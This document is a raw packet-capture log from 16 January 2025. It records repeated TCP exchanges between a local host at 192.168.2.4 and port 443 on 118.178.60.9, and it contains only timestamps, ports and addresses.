Jan 16, 2025 03:55:37.096460104 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.096498013 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.096561909 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.106834888 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.106904984 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.106983900 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.107043982 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.110867023 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.110925913 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.111136913 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.111191034 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.119477034 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.119548082 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.119622946 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.119683027 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.123724937 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.123792887 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.123817921 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.123878002 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.130109072 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.130182981 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.130199909 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.130254984 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.136384964 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.136451006 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.136476040 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.136559963 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.140974998 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.141040087 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.141071081 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.141133070 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.146812916 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.146908998 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.146966934 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.147026062 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.153405905 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.153470039 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.153654099 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.153716087 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.159362078 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.159441948 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.159487963 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.159547091 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.165186882 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.165255070 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.165272951 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.165328026 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.166923046 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.166981936 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.167033911 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.167089939 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.170871019 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.170928001 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.170970917 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.171025038 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.182246923 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.182332993 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.182493925 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.182559967 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.182770014 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.182821989 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.182851076 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.182904005 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.183123112 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.183172941 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.183336020 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.183393955 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.193680048 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.193737984 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.193795919 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.193849087 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.197777033 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.197838068 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.197861910 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.197915077 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.206280947 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.206360102 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.206449986 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.206513882 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.210593939 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.210668087 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.210696936 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.210756063 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.216942072 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.217108965 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.217152119 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.217175007 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.217205048 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.217823029 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.223100901 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.223169088 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.223195076 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.223253012 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.227813959 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.227888107 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.227917910 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.227974892 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.233686924 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.233747005 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.233830929 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.233889103 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.240384102 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.240456104 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.240473986 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.240529060 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.246254921 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.246315956 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.246340990 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.246412039 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.252088070 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.252183914 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.252260923 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.252322912 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.253818989 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.253885984 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.253921986 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.253978968 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.257656097 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.257746935 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.257757902 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.257774115 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.257802010 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.258039951 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.269154072 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.269212008 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.269288063 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.269357920 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.269433975 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.269501925 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.269956112 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.270011902 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.270134926 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.270191908 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.270230055 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.270284891 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.280564070 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.280632019 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.280659914 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.280719995 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.284657955 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.284722090 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.284750938 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.284816980 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.293227911 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.293287039 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.293325901 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.293390036 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.297456026 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.297514915 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.297524929 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.297553062 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.297580957 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.297605038 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.303792000 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.303877115 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.303906918 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.303966999 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.309952021 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.310020924 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.310199976 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.310261011 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.314698935 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.314762115 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.314834118 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.314893961 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.320640087 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.320702076 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.320729017 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.320821047 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.327290058 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.327364922 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.333162069 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.333233118 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.333273888 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.333328962 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.338854074 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.338928938 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.339004993 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.339066029 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.340507984 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.340563059 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.340621948 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.340711117 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.344423056 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.344496965 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.344542027 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.344598055 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.355947971 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.356014013 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.356065989 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.356126070 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.356184006 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.356245041 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.356435061 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.356483936 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.356882095 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.356941938 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.357124090 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.357186079 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.367388964 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.367455006 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.367485046 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.367676973 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.371397018 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.371463060 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.371520042 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.371581078 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.379847050 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.379986048 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.380019903 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.380089045 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.380135059 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.380135059 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.384098053 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.384171009 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.384255886 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.384320974 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.390486956 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.390551090 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.390762091 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.390816927 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.396670103 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.396743059 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.396948099 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.397017956 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.401673079 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.401772022 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.401772022 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.401797056 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.401829004 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.401850939 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.407270908 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.407355070 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.407397985 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.407458067 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.416223049 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.416316986 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.416377068 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.416446924 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.420195103 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.420284033 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.420316935 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.420372009 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.425573111 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.425637960 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.425796986 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.425870895 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.427275896 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.427361012 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.427485943 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.427540064 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.431201935 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.431267023 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.431513071 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.431571007 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.442977905 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.443047047 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.443144083 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.443212986 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.443269014 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.443344116 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.443399906 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.443448067 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.443725109 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.443778038 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.443859100 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.443916082 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.454236984 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.454298019 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.454354048 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.454415083 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.458343983 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.458401918 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.458439112 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.458494902 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.467144012 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.467211962 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.467267036 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.467341900 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.471105099 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.471180916 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.471262932 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.471345901 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.477529049 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.477602005 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.477650881 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.477706909 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.483824968 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.483921051 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.483953953 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.484013081 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.488384962 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.488447905 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.488482952 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.488542080 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.494127989 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.494188070 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.494262934 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.494314909 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.502983093 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.503048897 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.503093958 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.503154993 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.506666899 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.506731033 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.506869078 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.506916046 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.512439966 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.512600899 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.512656927 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.512691975 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.512727022 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.512757063 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.514235973 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.514295101 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.514450073 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.514516115 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.518179893 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.518244028 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.518275023 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.518333912 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.529819012 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.529872894 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.529917955 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.529968023 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.530041933 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.530091047 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.530131102 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.530175924 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.530579090 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.530631065 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.530677080 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.530725002 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.541054010 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.541115046 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.541193962 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.541246891 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.545116901 CET	443	63431	118.178.60.9	192.168.2.4
Jan 16, 2025 03:55:37.545173883 CET	63431	443	192.168.2.4	118.178.60.9
Jan 16, 2025 03:55:37.545300007 CET	443	63431	118.178.60.9	192.168.2.4
